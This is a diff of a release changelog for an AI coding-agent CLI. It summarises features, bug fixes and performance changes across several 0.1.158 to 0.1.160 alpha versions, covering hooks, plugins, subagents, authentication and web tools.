-- **Per-hook enable/disable toggles** via ~/.kigi/disabled-hooks file and 'e' key with **multi-line j/k navigation fix**.
-- **Bash-mode execute blocks auto-expand** after completion to display output immediately.
-- **Video generation tool** supports xAI API with async polling, download and sequential MP4 naming.
-- **Marketplace plugin installs** route through git_install with provenance tracking.
-- **Parallel tool dispatch** via KIGI_PARALLEL_TOOL_DISPATCH=1 runs concurrent Phase 2 execution.
-- **VideoGenConfig threading** gates video_gen tool via feature flag and session auth.
-- **/feedback command** enters teal-accent mode for fire-and-forget session feedback POST.
-- **modelId in UserMessageChunk _meta** enables frontend turn-to-model association.
-- **Git stash-all** via x.ai/git/stash ACP extension wired to desktop Changes panel.
-- **Float timeout_secs** in toolset.bash config.toml enables fractional second timeouts.
-
-## Bug Fixes
-
-- **Silent refresh prevents re-auth** on near-expiry tokens, fixes auth_type propagation and telemetry staleness.
-
-
-# 0.1.160-alpha.7
-
-## Features
-
-- **Mid-session hook reloading** on trust/untrust/add/remove without restart.
-- **Per-turn Stop hooks** plus **UserPromptSubmit** event fire before processing with scrollback annotations.
-- **OAuth login option** via --oauth/--legacy flags, KIGI_OAUTH_ENABLED env, feature flag (legacy default).
-
-## Bug Fixes
-
-- **Cross-CWD session resume** finds local sessions from worktrees via --resume/--load.
-
-## Performance
-
-- **Sequential N.jpg filenames** replace UUIDs in image_gen for massive token savings.
-
-
-# 0.1.160-alpha.6
-
-## Features
-
-- **Live auto-refresh** of open hooks/plugins modal on registry changes like install + reload.
-- **Adds live PR status display** in desktop changes panel via new ACP x.ai/pr/status extension.
-- **Adds domain allowlist and typed WebFetchOutput enum** with DomainNotAllowed and CrossHostRedirect variants.
-
-## Bug Fixes
-
-- **Prevents false-positive background '&' detection** inside heredoc bodies like `cat << EOF... &http.Request... EOF`.
-- **Restores web search functionality** by reinjecting required proxy headers like x-grok-client-version.
-- **Ensures config.toml base_url fully overrides** default model api_base_url across all credential paths.
-
-
-# 0.1.160-alpha.5
-
-## Features
-
-- **GrokNight default theme** with **runtime color quantization** ensures correct rendering across truecolor, 256-color, and 16-color terminals.
-- **ACP endpoints for hooks/plugins listing** enable pager modals to display loaded hooks and discovered plugins.
-- **ACP action endpoints** for hooks/plugins management support trust, install, reload, and update operations via pager.
-- **Legacy relay auth flow** via `grok login --legacy` restores pre-OIDC accounts.x.ai token exchange.
-
-## Bug Fixes
-
-- **Terminal-width-constrained tables** wrap cell text proportionally without overflow or column misalignment.
-- **Auth fallback to legacy scope** reads old accounts.x.ai tokens on devboxes provisioned via x setup.
-
-
-# 0.1.160-alpha.4
-
-## Features
-
-- **WebFetch tool** enables secure URL fetching, HTML-to-markdown conversion, SSRF guards, and in-memory caching.
-
-
-# 0.1.160-alpha.3
-
-## Breaking Changes
-
-- **OIDC OAuth replaces relay auth**; removed `--auth-signin-url`/`exchange-code-url`/`redirect-target` flags, run `grok login` to migrate.
-
-## Features
-
-- **LSP integration** injects diagnostics as reminders and exposes opt-in code intelligence tools via `.kigi/lsp.json`.
-- **Glob-aware permission rules** support prefix/suffix wildcards, tool=* and refined bash/edit matching.
-- **Claude settings.json compatibility** loads legacy rules as fallback when native TOML absent.
-- **Path-specific Read permissions** match against file paths from read_file/list_dir tools.
-- **Web search model override** via CLI, config.toml or env defaults to grok-4-1-fast-reasoning.
-- **Grep-specific permissions** enable path-only matching for Claude-compatible rules.
-- **Remote bash timeout toggle** via remote settings auto-backgrounds foreground commands with local override.
-- **Image generation tool** creates Imagine API images saved to session/images/ folder.
-- **Configurable web search disable** from config.toml via `disable_web_search = true`, OR-ed with CLI flag.
-- **Image generation tool** gated behind a server-side flag or `KIGI_IMAGE_GEN=1` env var with session auth.
-- **Dynamic nested skill discovery** in `.kigi/skills/` subdirs with runtime system reminder announcements.
-
-## Bug Fixes
-
-- **Quit confirmation** responds immediately on second ^D without infinite delay.
-- **Terminal restore** disables raw mode before CSI sequences to prevent garbage output.
-- **Session summary** falls back to prompt prefix on tool parse failure avoiding crash.
-- **Prevents YOLO auto-approval** of plan reviews by switching ExitPlanMode to independent ext_method channel.
-
-
-# 0.1.160-alpha.2
-
-## Features
-
-- **Configurable permission policies** enable automatic allow/deny rules via ~/.kigi/config.toml before existing checks.
-- **Prevents timeout doom loops** by auto-backgrounding foreground commands exceeding default 120s without explicit timeout.
-- **ACP git extensions** enable desktop git info/branches/checkout without local shelling, supporting cloud workspaces.
-- **Richer hook annotations** add HTTP URL/status/response previews to scrollback for pre-tool-use summaries.
-
-## Bug Fixes
-
-- **Robust session cancellation** shares logic with 5s safety-net timer to prevent stuck working states.
-- **Suppresses config warning** for [desktop] section owned by grok-desktop using opaque serde sink field.
-- **Prevents hook reload panics** by wrapping registry in Arc to avoid RefCell borrows across awaits.
-
-## Performance
-
-- **6x faster worktree creation** skips redundant LFS smudge filters on BTRFS snapshots using GIT_LFS_SKIP_SMUDGE=1.
-
-
-# 0.1.160-alpha.1
-
-## Features
-
-- **New TUI slash commands** /clear alias, /context usage breakdown, /version, and /login auth status.
-- **Skills discovery expands** to.agents/skills directories alongside.kigi and.claude.
-
-## Performance
-
-- **Fast btrfs worktree creation** on rootless devboxes via gRPC delegation to explorer agent.
-
-
-# 0.1.160
-
-## Breaking Changes
-
-- **OIDC OAuth2 replaces legacy relay login** for `grok login`; add `--legacy` flag for old flow and remove `--auth-signin-url` etc. CLI flags (migrate by deleting auth.json).
-- **Adds `grok login --legacy`** fallback; removes `--auth-signin-url` etc flags (use env/config defaults, no migration needed for most users).
-
-## Features
-
-- **ACP git extensions** (`x.ai/git/info`, `/branches`, `/checkout`) enable cloud-local git ops without subprocesses.
-- **Detailed hook scrollback** shows HTTP POST URLs, status codes, and response previews per executed hook.
-- **Remote bash timeout config** via remote settings `auto_background_on_timeout` overrides local config.toml.
-- **ACP hooks/plugins listing** (`x.ai/hooks/list`, `/plugins/list`) exposes loaded configs for pager modals.
-- **Image generation tool** via xAI Imagine API saves to session/images/ folder.
-- **Management actions for hooks/plugins** via x.ai/{hooks,plugins}/action with live modal refresh.
-- **disable_web_search now honors config.toml** value ORed with CLI flag.
-- **WebFetch tool scaffold** securely fetches URLs to markdown with SSRF protection.
-- **Dynamic discovery of nested skills** from.kigi/skills/ subdirs at runtime via reminders.
-- **PR status extension (x.ai/pr/status)** fetches branch PR state, title, number, and URL via gh CLI.
-- **Web fetch domain allowlist support** with enum outputs for blocked domains and cross-host redirects.
-
-## Bug Fixes
-
-- **Readable markdown tables** in narrow terminals via proportional column shrinking and smart cell text wrapping.
-- **Improved permission UX** by reordering 'don't ask again' option first across TUI, pager, and desktop clients.
-- **Reliable prompt cancellation** via shared logic and 5s safety-net timer prevents stuck 'working' states.
-- **Silent [desktop] config handling** consumes grok-desktop section without spurious 'unrecognized key' warnings.
-- **Panic-free hook reloads** via Arc-wrapped registry prevents BorrowMutError during concurrent plugin updates.
-- **Clean terminal restore** disables raw mode before CSI sequences to avoid garbage on Ctrl+D exit.
-- **Robust session summaries** handle chat completion errors gracefully without panics.
-- **Eliminates compiler unused import warnings** by scoping test imports to cfg-gated function.
-- **Prevents YOLO auto-approval of exit plans** by switching to independent ext_method.
-- **Fixes web search 426 errors** from missing client version header in requests to the API proxy.
-- **Config.toml base_url fully overrides** default models' api_base_url for all credential sources.
-
-## Performance
-
-- **6x faster worktree creation** by skipping redundant LFS smudge filters on snapshot checkouts and resets.
-
-
-# 0.1.159-alpha.11
-
-## Breaking Changes
-
-- **Default model updated** enables seamless checkpoint swaps; migrate by renaming `[internal_models]` to `[models]` in config.toml.
-
-## Features
-
-- **New hooks-remove and hooks-untrust commands** with shared helpers across shell and TUI.
-- **Bash mode (`! cmd`)** enables direct shell execution from pager, bypassing agent loop.
-- **Subagents default_model config** forces all subagents to one model, overriding others.
-
-## Performance
-
-- **Faster exit-plan-mode** by sending plan content inline, eliminating client readFile round-trip.
-- **Longer inference idle timeout** default raised to 10min for complex responses.
-
-
-# 0.1.159-alpha.10
-
-## Breaking Changes
-
-- **Default model updated** enables seamless checkpoint swaps; migrate by renaming `[internal_models]` to `[models]` in config.toml.
-
-
-# 0.1.159-alpha.9
-
-## Breaking Changes
-
-- **Config validation warns** on unknown keys with typed sections; migrate `auto_update` etc. to `[cli]`, `[models]`.
-
-## Features
-
-- **Resolved model ID** now shown in `/session-info` output and feedback submissions.
-- **Model sees task completions** as `<system-reminder>` tags in tool results, eliminating polling loops.
-- **Ctrl+R fuzzy history search** in pager prompt supports Up/Down navigation and mouse.
-
-## Bug Fixes
-
-- **Consistent tool/parameter names** in model-facing text and errors via TemplateRenderer resolution.
-- **Single progress lines** during remote session restore, eliminating duplicates.
-- **Plan mode UI updates** correctly on agent entry and across session switches.
-- **Compaction succeeds** for Responses API models by preserving encrypted reasoning.
-
-
-# 0.1.159-alpha.8
-
-## Features
-
-- **Question-answer panel** in pager with **GrokBuildPlanNoSubagents** mode excluding subagent tools.
-- **New hook events** Stop, Notification, UserPromptSubmit, SubagentStart/Stop plus **Claude-compatible** toolUseId schema.
-- **Resume completed subagents** via task `resume_from` inheriting raw transcript, tool state, model; schema/docs/provenance/observability.
-- **`/clear` slash command** aliases `/new` to start a fresh session.
-
-
-# 0.1.159-alpha.7
-
-## Features
-
-- **Install and uninstall plugins** via `/plugins install <url/path>` and `/plugins uninstall <name>` supporting git refs, subdirs, local symlinks, and multi-plugin repos.
-
-## Bug Fixes
-
-- **Prevents delimiter deletion** in hashline_edit replace by clarifying inclusive anchor/end_anchor range in tool docs.
-- **Prevents 413 errors** by compressing large `read_file` images to max 1024px JPEG under 768KB with progressive quality reduction.
-- **Eliminates TUI model jump** by patching leader initialize response to use client's `default_model` instead of agent's.
-
-
-# 0.1.159-alpha.6
-
-## Features
-
-- **Execute inline hooks and MCP servers** from plugin manifests with shell `/plugins add/remove` and HTTP handler support.
-- **Redesigned OAuth consent page** uses icon cards; shell callback pages now styled with success/error feedback.
-- **MCP catalogs expose scope_name** for human-readable labels alongside scope/scope_id.
-- **Discover skills from**.claude/skills directories alongside.kigi/skills.
-- **TUI hook messages render** inline as scrollback annotations with hashline aliases.
-
-## Bug Fixes
-
-- **use_tool now normalizes** double-encoded JSON strings in tool_input to objects for reliable MCP dispatch.
-- **Hashline anchor docs/errors** now specify LINE:HASH1:HASH2 format accurately.
-- **Codex grep_files uses** shared rg_path() matching grok_build pattern.
-- **Safe truncation prevents** mid-character cuts in subagent/sampling previews.
-- **insert_after empty content** now inserts blank line matching docs.
-- **Config watcher deduplicates** events per debounce batch for stability.
-
-
-# 0.1.159-alpha.5
-
-## Features
-
-- **Dev tool usage stats pane** shows real-time activity breakdown, timeline, and inter-token latency.
-- **Claude frontmatter parity** parses allowed-tools lists/strings, model, and effort in skill frontmatter.
-- **Auto-injected managed MCPs** from grok.com for WebLogin, deduped with config.toml opt-out.
-- **ACP worktree management** adds list/show/gc/db methods with filters and dry-run.
-- **ACP x.ai/auth/logout** removes scopes from ~/.kigi/auth.json.
-- **Custom npm registry** via config.toml or KIGI_NPM_REGISTRY respects enterprise.npmrc.
-- **CLI worktree commands use ACP** with repo-wide session resolution for -w -r.
-- **Repo-wide worktree session resume** resolves locally across same-repo directories via ACP before remote fallback.
-- **TUI worktree mode** uses repo-wide ACP resolution for interactive and headless resume.
-
-## Bug Fixes
-
-- **Legacy search_replace** skips nearest-match hint computation matching confusable_hint gating.
-- **Shorter run_terminal_cmd error messages** revert verbose background & operator wording.
-- **fsnotify forwards.git events** to watch_git clients including HEAD/index changes.
-
-
-# 0.1.159-alpha.4
-
-## Features
-
-- **ACP worktree management** adds list/show/gc/db methods with filters and dry-run support.
-
-## Bug Fixes
-
-- **Legacy search_replace** skips nearest-match hint for 0.4.10 clients matching confusable_hint pattern.
-
-
-# 0.1.159-alpha.3
-
-## Features
-
-- **Subagent worktrees preserved** after completion with path in output; role-level fork and isolation defaults added.
-- **Always-approve mode** renames yolo flag/slash command with backward-compatible aliases preserved.
-- **Help skill reads ~/.kigi/config.toml** to answer MCP server and model configuration queries.
-- **Deployment keys supported** on all API proxy endpoints including storage and sessions.
-- **Public install-grok.sh script** supports deployment keys and channels without VPN.
-- **Subagent prompts** use dedicated compact template with system role/persona.
-- **SubagentSessionMetadata v1** enables GCS persistence with full provenance and registry extensions.
-
-## Bug Fixes
-
-- **Subagents inherit parent file toolset** resolving hashline vs standard configuration correctly.
-- **Subagent forking fixed** with system prompt injection, conversation loading, and provenance tracking.
-- **Subagent personas override model/reasoning** with full precedence chain and PromptMode::Extend for built-ins.
-- **TUI no longer stuck after auto-compact** by preserving original turn ID.
-- **Blocks nested subagent spawning** by limiting depth to 1.
-- **Subagent permission prompts show tool details**; hashline_edit now requires approval.
-- **Forked subagent context normalized** to System + BackgroundContext + Task for recency.
-- **Subagents inherit parent yolo mode and OTEL trace**; depth limited to prevent recursion.
-- **Unified skill resolution** rejects ambiguities across shell, TUI, backends with qualified names and alternatives.
-- **Prevents TUI session errors** on leader connect by skipping eager new session creation.
-- **Multi-edit diff previews** for hashline_edit tool parse details array in TUI.
-- **Fixes subagent terminal stalls** using spawn_local on LocalSet single-threaded runtimes.
-- **Prunes orphaned kill_task/get_task_output** after capability filtering removes providers.
-
-## Performance
-
-- **Eliminates hyper DispatchGone errors** with 2 idle connections and 90s pool timeout.
-
-
-# 0.1.159-alpha.2
-
-## Features
-
-- **Namespaced plugin skills and agents** enable qualified resolution with deduping and plugin provenance.
-- **/plugins slash commands** add list, reload, trust with plugin config in config.toml.
-- **Remote default_model** resolution falls back silently if unavailable in user list.
-- **Subagent permission attribution** enriches TUI dialogs and events with child provenance.
-- **Subagent lineage tree structures** enable recursive depth-sorted display in TUI tasks panel.
-- **Structured subagent details and lineage** render diagnostics below selected TUI tasks rows.
-- **TUI /plugins commands** support live reload, qualified autocomplete, and plugin source display.
-- **Subagent safety guards** fallback to parent model on unknown config or fork context overflow.
-- **Bundled /help skill** extracts README.md to ~/.kigi/ for slash command and model self-help.
-- **Identifies worktree sessions** in client sidebars via session_kind and source_workspace_dir metadata in summary.json.
-
-## Bug Fixes
-
-- **Per-edit diff metadata** prevents cascade from line shifts in hashline multi-edits.
-- **Prevents SQLITE_BUSY errors** during concurrent SQLite WAL setup by setting busy_timeout before journal_mode.
-
-
-# 0.1.159-alpha.1
-
-## Features
-
-- **Subagent persona support** enables layered instructions from config.toml and.kigi/personas/*.toml with fail-closed resolution.
-- **Compaction-safe fork inheritance** preserves parent prefix while summarizing only child-owned suffix.
-- **Enhanced task tool guidance** coaches model on fork_context, capability_mode, overrides, and personas.
-- **External auth providers** support custom login binaries with TUI/headless flows.
-- **Configurable feedback/trace endpoints** route enterprise telemetry independently.
-- **Subagent capability enforcement** filters disallowed built-in tools at spawn time.
-- **--no-memory flag** disables cross-session persistence overriding all other configs.
-- **Subagent diagnostics** in TUI tasks panel display fork source, capability mode, and persona.
-- **Worktree isolation** enables subagents to edit without affecting parent workspace.
-- **A/B retry** discards failed forks and replays prompt via new ACP extension method.
-- **Synchronous user questions** via client RequestPermission block agent until answered.
-- **User approval** for exit_plan_mode via RequestPermission blocks until build or revise.
-- **Reasoning deltas** streamed to thinking panel for real-time visibility.
-
-## Bug Fixes
-
-- **Fork-safety filtering** removes synthetic messages and truncates incomplete turns from subagent inherited context.
-- **Compact ACP diff metadata** returns only changed lines for scattered edits spanning over 80 lines.
-- **Per-client terminal/FS routing** prevents misrouting in leader mode across mixed clients.
-- **BYOK model api_keys** preserved during proactive auth refresh by skipping session token overwrite.
-- **Unified turn_number** across remote traces and backend storage enables reliable data joins post-rewind.
-- **Clean error messages** for session restore failures in non-git directories without backtraces.
-- **Stable slash autocomplete** prevents tick refreshes overwriting command suggestions.
-- **Explicit AuthType** gates refresh to prevent overwriting user-provided api_keys.
-
-
-# 0.1.159
-
-## Breaking Changes
-
-- **Default model updated**; rename `[internal_models]` to `[models]` in config.toml.
-
-## Features
-
-- **Server-controlled default model** via remote settings with CLI/config fallback.
-- **Subagent capability modes** enforce toolset filtering at spawn time.
-- **--no-memory flag** disables cross-session persistence overriding all configs.
-- **Subagent metadata** shows fork source, capability, and persona in TUI.
-- **Worktree isolation** runs subagents in private git worktrees.
-- **A/B retry handler** replays failed dual forks with same prompt.
-- **Permission dialogs** attribute requests to child subagents.
-- **Lineage tree builder** groups subagents by parent for diagnostics.
-- **Subagent detail pane** shows diagnostics and child lineage tree.
-- **Synchronous user questions** intercept ask_user_question tool to block agent on client answers via RequestPermission.
-- **TUI plugin management** adds /plugins list/reload/trust with live hook reload and CLI --plugin-dir.
-- **Interactive plan approval** intercepts exit_plan_mode to block until client Build/Revise.
-- **Question-answer panel** adds pager UI for interactive permissions and subagent-free GrokBuildPlan agent.
-- **Live reasoning deltas** stream raw text chunks to thinking panel.
-- **Dev tool stats pane** docks below scrollback with timeline, ITL p50/p99, and category breakdowns.
-- **Skills reject ambiguous short names** with qualified alternatives listed.
-- **Subagents use dedicated prompt template** excluding persona catalog.
-- **Subagent role/persona now in system prompt** for durable behavioral identity.
-- **Skills parse Claude frontmatter** for allowed-tools, model, effort overrides.
-- **Plugin install/uninstall commands** support git repos, tags, subdirs, local paths.
-- **Auto-injects managed MCPs** from grok.com into CLI/TUI for WebLogin users.
-- **ACP worktree management** adds list/show/gc/db methods with filters and dry-run.
-- **ACP logout method** removes scopes from ~/.kigi/auth.json.
-- **Discovers skills from.claude/skills** alongside.kigi/skills across local, repo, and user directories.
-- **Inline TUI scrollback annotations** for hooks with ✓ success indicator and hashline_* Claude aliases.
-- **New hook events** Stop/Notification/UserPromptSubmit/SubagentStart/Stop with Claude-compatible PreToolUse schema.
-- **Exposes resolvedModelId** in feedback submissions and /session-info slash command.
-- **Warns on unrecognized config.toml keys** at startup using serde_ignored and typed sections.
-- **/clear slash command alias** starts new session like /new.
-- **Full resume command** shown on TUI exit including cd and --resume with session ID.
-- **Git staging awareness** in hunk-tracker with batch get-all-file-contents endpoint.
-- **Direct bash mode** (`! cmd`) in pager bypassing agent for shell execution.
-- **Global subagent default_model** config overrides all other model sources.
-
-## Bug Fixes
-
-- **Preserves BYOK api_keys** during proactive session token refresh.
-- **Unified turn_number** across traces and DB enables reliable remote data joins.
-- **Clean errors** on session restore without backtraces or panics.
-- **Slash autocomplete** no longer clobbered by tick-driven arg refreshes.
-- **Prevents token refresh overwriting** user-provided API keys via explicit AuthType tracking.
-- **A/B forks strip reasoning** from assistant messages to prevent CoT leakage.
-- **Per-edit diff metadata** captures regions directly avoiding cascade in multi-edits.
-- **TUI no longer stuck streaming** after auto-compact turn_id desync.
-- **Prevents recursive subagent spawning** by limiting depth to 1.
-- **Subagent permission prompts** now display full tool details and paths.
-- **Forked subagents get normalized prompts** as [System, BackgroundContext, Task].
-- **Leader TUI avoids session conflicts** by skipping eager new session.
-- **TUI renders multi-edit diffs** correctly for hashline_edit tools.
-- **Subagent tool stalls fixed** via spawn_local for terminal actor.
-- **Prevents subagent toolset failures** by pruning orphaned kill_task/get_task_output after capability filtering.
-- **Skips nearest-match hint computation** for legacy 0.4.10 search_replace clients.
-- **Shortens run_terminal_cmd & error messages** by removing redundant background clause.
-- **Fixes deployment key auth** in feedback/sampling clients and external endpoint headers.
-- **Normalizes double-encoded tool_input** strings to objects in use_tool dispatch.
-- **Clarified hashline anchor formats** to LINE:HASH1:HASH2 in tool descriptions, docs, and errors.
-- **Codex grep_files uses shared rg_path** matching grok_build and opencode patterns.
-- **Char-boundary-safe truncation** prevents invalid UTF-8 in subagent, sampling, and prompt previews.
-- **insert_after empty content inserts blank line** matching tool docs and replace behavior.
-- **Deduplicated config watcher events** within debounce batches prevents flaky rapid-write tests.
-- **hashline_edit docs specify inclusive replace range** preserving endpoint delimiters like }.
-- **Compresses read_file images to JPEG max 1024px/768KB** preventing oversized payload 413 errors.
-- **Frictionless desktop auto-auth** by refreshing auth_manager from disk in initialize().
-- **Eliminates duplicate summary** in BackgroundTaskStarted tool output.
-- **Suppresses duplicate reminders** after kill_task or completed get_task_output.
-- **Prevents false non-git warnings** from unexpected libgit2 errors.
-- **Blocks unsafe pipelines** by tree-sitter parsing all command segments.
-
-## Performance
-
-- **Fewer `DispatchGone` errors** via larger HTTP pool (2 idle connections, 90s timeout).
-- **Inline plan content** in exit_plan_mode avoids client readFile round-trip.
-
-
-# 0.1.158-alpha.14
-
-## Features
-
-- **Full-text search across past sessions** via x.ai/session/search ACP method with FTS5 indexing and workspace filtering.
-- **ACP resume session in worktree** via x.ai/git/worktree/resume_session for programmatic clients.
-
-## Bug Fixes
-
-- **Scoped subagent cancellation** targets only current turn with TUI confirmation modal.
-- **Prevents corrupted post-session diffs** by awaiting hooks before root repo replication.
-- **Fast AB cancellation** with async hook awaits and 30s timeouts to avoid hangs.
-- **Compact snippets for scattered edits** using per-region views with gap markers over 80 lines.
-- **Large session sharing** via signed GCS URLs bypassing 413 payload limits.
-
-## Performance
-
-- **Efficient subagent progress updates** with coalescing, adaptive 1-5s polling, stale indicators, and elapsed time display.
-
-
-# 0.1.158-alpha.12
-
-## Features
-
-- **Live subagent progress tracking** in TUI tasks panel via ACP `list_running`/`get` polling and push notifications.
-- **Configurable bash tool params** like timeouts injected from config.toml `[toolset.bash]` into GrokBuild actors.
-
-## Bug Fixes
-
-- **Precise io::ErrorKind mapping** from ACP file errors enables consistent NotFound and PermissionDenied handling.
-- **Silent grok-pager installation** hides internal details from install and auto-update user output.
-- **Improved batch edit errors** explicitly state atomic all-or-nothing semantics and retry guidance.
-
-
-# 0.1.158-alpha.11
-
-## Features
-
-- **Configurable hashline toolset** with mutual exclusion validation, scheme parameters, and dynamic descriptions.
-- **Multi-source Claude-compatible hooks** from settings files and directories with project trust gating and unified /hooks commands.
-- **Live subagent progress** shows turns, tool calls, token usage, tools used, and errors while running.
-
-## Bug Fixes
-
-- **SSE stream parsing** handles flat error format from Grok proxy without deserialization failure.
-- **Grep and list_dir outputs** use display paths to prevent leaking internal worktree paths to model.
-
-
-# 0.1.158-alpha.10
-
-## Features
-
-- **Plan mode state machine** integrates into session lifecycle with persistence and tool support.
-- **Post-A/B session hooks** via KIGI_AB_POST_SESSION_HOOK capture worktree changes.
-
-## Bug Fixes
-
-- **Prevents Linux Docker overlayfs hangs** in A/B sessions using git-based worktree replication.
-- **Eliminates false tool timeouts** for long-running builds after fixing overlayfs hangs.
-- **Fixes grep large-output gRPC errors** by raising tools-server limit to 128 MiB.
-
-
-# 0.1.158-alpha.8
-
-## Features
-
-- **Enhanced announcement UX** adds paging, prev/next commands, and `KIGI_DEV_ANNOUNCEMENTS` override.
-- **`--disable-web-search` flag** omits web search tool from agent for benchmark isolation.
-- **`hashline_read` tool** outputs files with line anchors using chunk h=3 c=8 scheme.
-- **Optional auth for feedback** enables unauthenticated submissions with `KIGI_USER_METADATA`.
-- **Plan mode tools** add `enter_plan_mode`, `exit_plan_mode`, and `ask_user_question` with notifications.
-- **Auto-installs grok-pager** alongside grok during internal and GitHub release updates.
-- **Mid-session token refresh** re-runs external auth or uses OIDC refresh_token on expiry.
-- **`hashline_edit` tool** supports replace/insert_after/write with anchor validation and overlap checks.
-- **Tiered range warnings** for hashline edits caution on medium/large multi-line rewrites.
-- **Shifted-anchor recovery** in hashline edits suggests retry anchors, reports ambiguities, with wider context.
-- **Anchor-annotated grep** injects stable anchors into ripgrep output for seamless edit workflows.
-- **Hooks v0 system** runs project scripts on pre/post-tool-use and session lifecycle events.
-- **Independent feedback gating** via KIGI_FEEDBACK_ENABLED separates it from telemetry controls.
-- **Leader CLI tooling** supports discovery, targeting, profiling commands, dev spawn.
-
-## Bug Fixes
-
-- **Bash `run_terminal_cmd` respects `enabled_background=false`** by hiding `is_background` in schema and rejecting at runtime.
-- **Structured CLI errors** in tool-server with code, message, and retryable fields.
-- **Async metadata** in list_dir prevents blocking the executor on overlayfs-backed paths.
-- **Overlay path rewriting** in AcpSessionFs guards AB isolation against display path leaks.
-- **ESC cancel recovery** clears cancelling state on prompt-complete notifications.
-
-## Performance
-
-- **Runtime CPU profiling foundation** enables leader process profiling via control protocol and pprof.
-
-
-# 0.1.158-alpha.7
-
-## Features
-
-- **Managed MCPs flag** resolves env>config>remote settings>default, disabled in headless mode.
-- **Grok 4.20 default model** with CLI/env/config/remote-settings overrides for catalog models.
-
-## Bug Fixes
-
-- **Prevents queued prompts flushing together** in TUI via turn IDs ignoring stale responses.
-- **Fixed viewport height** enables full prompt dropdown expansion in one frame.
-- **Respects explicit yoloMode=false** per-session overriding client defaults.
-- **Aborts path walks on first timeout** preventing 25-minute hangs on slow filesystems.
-- **5-minute tool timeouts** prevent registry lock hangs with execution tracing spans.
-
-## Performance
-
-- **Tuned HTTP client for IC** adds keepalives, disables Nagle, sets fast connect timeout.
-- **Streams request bodies directly** to IC without buffering on common non-rewrite path.
-
-
-# 0.1.158-alpha.6
-
-
-# 0.1.158-alpha.5
-
-## Breaking Changes
-
-- **Context window requirement** forces BYOK users to explicitly set it in config.toml, with migration via Serde error messages.
-
-## Features
-
-- **Dynamic model context updates** ensure the chat shell uses the latest limits from the backend for accurate operations.
-- **Custom models endpoint** lets users configure their own OpenAI-compatible proxy for enterprise needs.
-- **Configurable AB turn timeout** enables dynamic limits via remote settings without redeploying.
-- **Automatic file re-reading after compaction** injects recent file contents for immediate model context.
-- **Persisted memory reminders** maintain context in chat history for improved session continuity.
-- **Timeout for AB comparisons** cancels stalled sessions after a set time, improving reliability.
-- **Configurable memory injection** enables controlling first-turn searches for better session starts.
-
-## Bug Fixes
-
-- **Alpha channel updates** now correctly select the latest version, fixing issues with stale releases.
-- **Non-blocking memory flushes** ensure sessions progress without delays during idle operations.
-- **Accurate prompt completion handling** prevents errors from being misreported as cancellations.
-- **Stable application startup** fixes crashes from nested runtimes during initialization.
-- **Correct A/B session context windows** ensure auto-compaction uses the right thresholds.
-- **Reliable TUI startup** eliminates panics from nested runtimes.
-- **Async file handling** prevents session hangs on slow filesystems in AgentsMdTracker.
-- **TUI layout fixes** keep prompt anchored and status visible for smoother user interaction.
-
-## Performance
-
-- **Faster SSE error detection** reduces CPU overhead by avoiding full JSON parses on normal chunks.
-- **Reused HTTP connections** speed up turns by eliminating TLS handshakes between requests.
-- **Single-pass request serialization** cuts overhead for large conversations in streaming paths.
-
-
-# 0.1.158-alpha.4
-
-## Features
-
-- **Remote announcements** surfaced from remote settings with tolerant parsing, periodic refresh, expiry filtering, and persistent hide/show state.
-- **`grok completions` subcommand** generates bash/zsh completion scripts, with fast-path exit before any network or auth warmup.
-- **Running subagents preserved after compaction** with IDs, types, and descriptions injected into the post-compaction system reminder.
-- **External auth provider** delegates login to a user-supplied binary for sandboxed VMs, CI, and air-gapped environments with automatic mid-session token refresh.
-- **Unicode confusable resilience** across search_replace, read_file, and doom-loop paths — smart quotes and em-dashes no longer cause silent edit failures.
-
-## Bug Fixes
-
-- **use_tool works in all server contexts** by dispatching through ToolCallContext instead of session-actor interception, fixing silent failures in grok-tools-server.
-- **MCP tool calls use fresh auth** by looking up the current client at call time, fixing silent 401s after OAuth token refresh.
-- **Remote settings forwarded through proxy** — telemetry, trace upload, tool search, and writeback flags were silently dropped and never reached the client.
-- **Leader startup fetches remote settings** so telemetry, doom loop, and other remote-settings-gated features work in leader mode.
-- **AuthManager uses configured proxy URL** instead of a hardcoded default proxy host for user-info fetches.
-- **Stale todo spinners cleared at turn end** via transient Plan notification that marks lingering in_progress items as completed for display.
-- **Config.toml model overrides applied correctly** — custom api_key, env_key, and base_url on built-in model keys were silently dropped by the enum's per-variant field layout.
-- **AB comparison cancel cleanup** now uses canonical teardown path, fixing overlay mount and FS isolation registration leaks.
-- **Connect timeout for sampling clients** (10s default, configurable) prevents frozen CLI on unreachable inference servers; TLS warmup now targets the sampling path.
-- **Leader protocol backwards compatibility** by defaulting the `ready` field when connecting to older leader binaries.
-- **Custom skill path discovery** now works end-to-end — paths added via `x.ai/skills/add` or config.toml are included in agent skill lookup.
-
-
-# 0.1.158-alpha.2
-
-## Features
-
-- **Configurable telemetry destinations** via `[telemetry]` config section and env overrides, with a trace-upload kill switch for noisy GCS warnings.
-- **Pull-on-miss session restore** fetches remote sessions when not found locally, with remote-settings-gated writeback for TUI sessions.
-- **Session restore with dedup archives** materializes GCS-referenced patches, blobs, and untracked files before applying.
-- **Binary file attachments** persisted to session storage with content-hash dedup and surfaced as path hints for model context.
-- **Subagent support** gated behind `--subagents` flag, env var, config, or remote settings — disabled by default.
-- **Non-git-repo startup warning** with blocking quit/continue prompt, gated behind a server-side feature flag.
-- **Line-numbered memory_get output** matching read_file format, with config-backed search defaults from `[memory.search]`.
-- **Richer session auto-save** captures tool-usage breakdown and file paths touched; shell commands excluded to avoid persisting secrets.
-- **`grok memory reindex` and `doctor` CLI commands** for index maintenance, plus access-frequency boost in hybrid search.
-- **Cursor-based session reconnect** skips already-seen replay events, forwarding only post-cursor updates as live.
-- **Subagent support in web UI** with clickable session cards, persistent spawn/finish notifications, and structured completion output.
-- **Session restore progress tracking** with phase-level events, elapsed timers, and explicit incomplete-vs-complete outcome differentiation.
-- **Per-subagent model routing** via `[subagents.models]` config and agent definition `model` field, with conditional override for heavy parent models.
-- **Transparent stdio bridge reconnect** replays cached `initialize` and `session/load` after leader restart so external clients resume immediately.
-- **Leader/client version mismatch notification** surfaces a TUI banner and headless log warning when client and leader binaries diverge.
-- **OIDC manual paste fallback** races stdin against the loopback server so remote VM users can paste auth codes directly, with `[auth]` config alias.
-- **Session ID clipboard copy** on /session-info, with a transient status banner for success and error feedback.
-- **Telemetry defaults to off** with centralized env > config > remote settings > default precedence for telemetry and trace uploads.
-- **User-defined subagents** via .kigi/agents/*.md files with per-subagent config toggles and dynamic Task tool descriptions.
-
-## Bug Fixes
-
